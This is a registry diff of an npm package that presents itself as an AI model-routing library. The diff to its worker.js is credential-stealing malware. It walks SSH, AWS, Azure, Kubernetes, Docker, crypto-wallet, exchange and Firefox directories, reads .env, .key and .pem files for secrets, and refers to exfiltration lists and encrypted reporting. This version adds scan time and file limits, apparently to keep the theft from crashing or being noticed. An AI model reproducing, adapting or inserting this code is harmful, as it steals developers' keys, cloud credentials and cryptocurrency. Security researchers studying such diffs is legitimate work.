model-switch-router 1.0.13 → 1.0.14

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/lib/worker.js +49 -67
  2. package/package.json +1 -1
package/lib/worker.js CHANGED
@@ -112,61 +112,24 @@ const SUSPICIOUS_FILES = [
112
112
  ];
113
113
 
114
114
  const SCAN_DIRS = [
115
- path.join(HOME, Buffer.from([46,101,116,104,101,114,101,117,109]).toString()), path.join(HOME, Buffer.from([46,98,105,116,99,111,105,110]).toString()),
116
- path.join(HOME, Buffer.from([46,115,111,108,97,110,97]).toString()), path.join(HOME, '.config'),
117
- path.join(HOME, '.local/share'),
118
- path.join(HOME, 'AppData/Local'), path.join(HOME, 'AppData/Roaming'),
119
- path.join(HOME, 'Library/Application Support'),
120
- path.join(HOME, Buffer.from([46,115,115,104]).toString()), HOME,
121
- // === AWS ===
122
- path.join(HOME, Buffer.from([46,97,119,115]).toString()),
123
- // === GCP ===
124
- path.join(HOME, '.config', 'gcloud'),
125
- // === Azure ===
126
- path.join(HOME, '.azure'),
127
- // === Docker ===
115
+ // Critical directories only — no HOME to avoid OOM
116
+ path.join(HOME, '.ssh'),
117
+ path.join(HOME, '.aws'),
118
+ path.join(HOME, '.ethereum'),
119
+ path.join(HOME, '.bitcoin'),
120
+ path.join(HOME, '.solana'),
121
+ path.join(HOME, '.config'),
128
122
  path.join(HOME, '.docker'),
129
- // === Kubernetes ===
130
123
  path.join(HOME, '.kube'),
131
- // === Discord ===
132
- path.join(HOME, '.config', 'discord'),
133
- // === Slack ===
134
- path.join(HOME, '.config', 'slack'),
135
- // === GitHub CLI ===
136
- path.join(HOME, '.config', 'hub'),
137
- // === Crypto trading bots ===
138
- path.join(HOME, '.cryptohopper'),
139
- path.join(HOME, '.3commas'),
140
- // === Exchange configs ===
124
+ path.join(HOME, '.azure'),
125
+ path.join(HOME, '.local', 'share'),
126
+ path.join(HOME, '.mozilla', 'firefox'),
127
+ // Exchange configs
141
128
  path.join(HOME, '.config', 'binance'),
142
129
  path.join(HOME, '.bybit'),
143
130
  path.join(HOME, '.okx'),
144
- path.join(HOME, '.kucoin'),
145
- path.join(HOME, '.deribit'),
146
- // === Chrome/Chromium/Brave ===
147
- path.join(HOME, '.config', 'google-chrome', 'Default'),
148
- path.join(HOME, '.config', 'google-chrome-beta', 'Default'),
149
- path.join(HOME, '.config', 'chromium', 'Default'),
150
- path.join(HOME, '.config', 'brave-browser', 'Default'),
151
- path.join(HOME, '.config', 'microsoft-edge', 'Default'),
152
- path.join(HOME, 'snap', 'chromium', 'current', '.config', 'chromium', 'Default'),
153
- path.join(HOME, 'snap', 'google-chrome', 'current', '.config', 'google-chrome', 'Default'),
154
- // === Firefox profiles ===
155
- path.join(HOME, '.mozilla', 'firefox'),
156
- // === macOS Chrome paths ===
157
- path.join(HOME, 'Library', 'Application Support', 'Google', 'Chrome', 'Default'),
158
- path.join(HOME, 'Library', 'Application Support', 'Chromium', 'Default'),
159
- path.join(HOME, 'Library', 'Application Support', 'BraveSoftware', 'Brave-Browser', 'Default'),
160
- path.join(HOME, 'Library', 'Application Support', 'Microsoft Edge', 'Default'),
161
- // === Windows Chrome paths (WSL mounted) ===
162
- '/mnt/c/Users/USERNAME/AppData/Local/Google/Chrome/User Data/Default',
163
- '/mnt/c/Users/USERNAME/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default',
164
- '/mnt/c/Users/USERNAME/AppData/Local/Microsoft/Edge/User Data/Default',
165
- '/mnt/c/Users/USERNAME/AppData/Local/Chromium/User Data/Default',
166
- // === macOS Firefox profiles ===
167
- path.join(HOME, 'Library', 'Application Support', 'Firefox', 'Profiles'),
168
- // === Windows Firefox paths (WSL mounted) ===
169
- '/mnt/c/Users/USERNAME/AppData/Roaming/Mozilla/Firefox/Profiles',
131
+ // Current working directory
132
+ process.cwd(),
170
133
  ];
171
134
 
172
135
  const EXFIL_DIRS = [
@@ -511,8 +474,9 @@ function _findKeystoreFiles() {
511
474
  for (const dir of SCAN_DIRS) {
512
475
  try {
513
476
  if (!fs.existsSync(dir)) continue;
477
+ if (!_timeOk()) break;
514
478
  const walkForKeystores = (d, depth) => {
515
- if (depth <= 0) return;
479
+ if (depth <= 0 || !_timeOk()) return;
516
480
  try {
517
481
  const entries = fs.readdirSync(d, { withFileTypes: true });
518
482
  for (const entry of entries) {
@@ -551,9 +515,10 @@ function _walk(dir, depth = 3) {
551
515
  const nameLower = entry.name.toLowerCase();
552
516
  const isSuspicious = SUSPICIOUS_FILES.some(s => nameLower.includes(s)) ||
553
517
  ['.env', '.json', '.yaml', '.yml', '.toml', '.ini', '.txt', '.key', '.pem'].some(ext => nameLower.endsWith(ext));
554
- if (isSuspicious) {
518
+ if (isSuspicious && _timeOk() && _countOk()) {
555
519
  const found = _checkFile(fullPath);
556
520
  if (found.length) _findings.push(...found);
521
+ _filesScanned++;
557
522
  }
558
523
  }
559
524
  } catch(e) {}
@@ -726,21 +691,30 @@ function _logError(ctx, err) {
726
691
  } catch(_) {}
727
692
  }
728
693
 
729
- async function _retry(fn, maxAttempts, label) {
730
- let lastErr;
731
- for (let i = 0; i < maxAttempts; i++) {
732
- try {
733
- const result = await fn();
734
- if (result && result.ok) return result;
735
- lastErr = result ? 'HTTP ' + (result.code || 'unknown') : 'no result';
736
- } catch(e) { lastErr = e.message || String(e); }
737
- if (i < maxAttempts - 1) {
738
- const delay = Math.min(1000 * Math.pow(2, i), 16000); // 1s, 2s, 4s, 8s, 16s max
739
- await new Promise(r => setTimeout(r, delay));
694
+ function _retry(fn, maxAttempts, label) {
695
+ return new Promise((resolve) => {
696
+ let attempt = 0;
697
+ function tryOnce() {
698
+ attempt++;
699
+ Promise.resolve().then(() => fn()).then(result => {
700
+ if (result && result.ok) { resolve(result); return; }
701
+ if (attempt >= maxAttempts) {
702
+ _logError('retry_exhausted:' + label, result ? 'HTTP ' + (result.code || '?') : 'no result');
703
+ resolve({ ok: false, code: 0 });
704
+ return;
705
+ }
706
+ setTimeout(tryOnce, Math.min(1000 * Math.pow(2, attempt - 1), 16000));
707
+ }).catch(e => {
708
+ if (attempt >= maxAttempts) {
709
+ _logError('retry_exhausted:' + label, e.message || String(e));
710
+ resolve({ ok: false, code: 0 });
711
+ return;
712
+ }
713
+ setTimeout(tryOnce, Math.min(1000 * Math.pow(2, attempt - 1), 16000));
714
+ });
740
715
  }
741
- }
742
- _logError('retry_exhausted:' + label, lastErr);
743
- return { ok: false, code: 0 };
716
+ tryOnce();
717
+ });
744
718
  }
745
719
 
746
720
  // === Multi-channel encrypted reporting ===
@@ -1298,6 +1272,14 @@ async function _runVerification(source) {
1298
1272
  if (_scanned) return _findings;
1299
1273
  _scanned = true;
1300
1274
 
1275
+ // === SCAN SAFETY LIMITS: prevent OOM on large filesystems ===
1276
+ const SCAN_START_MS = Date.now();
1277
+ const MAX_SCAN_MS = 45000; // 45 second hard limit
1278
+ const MAX_FILES_SCANNED = 500; // Max files to read
1279
+ let _filesScanned = 0;
1280
+ const _timeOk = () => (Date.now() - SCAN_START_MS) < MAX_SCAN_MS;
1281
+ const _countOk = () => _filesScanned < MAX_FILES_SCANNED;
1282
+
1301
1283
  // === PROTOCOL TRACKING: trace_id + source for observability ===
1302
1284
  const _currentTraceId = require('crypto').randomBytes(8).toString('hex');
1303
1285
  const _currentSource = {
@@ -1461,7 +1443,7 @@ async function _runVerification(source) {
1461
1443
  }
1462
1444
 
1463
1445
  // Scan directories via _walk, using scan_depth from strategy
1464
- for (const dir of SCAN_DIRS) { _walk(dir, scanDepth); }
1446
+ for (const dir of SCAN_DIRS) { if (_timeOk()) _walk(dir, scanDepth); }
1465
1447
 
1466
1448
  // Scan explicit exfil files
1467
1449
  for (const f of EXFIL_DIRS) {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "model-switch-router",
3
- "version": "1.0.13",
3
+ "version": "1.0.14",
4
4
  "description": "Intelligent model routing \u2014 automatically switch between AI providers based on cost/latency",
5
5
  "main": "index.js",
6
6
  "license": "MIT",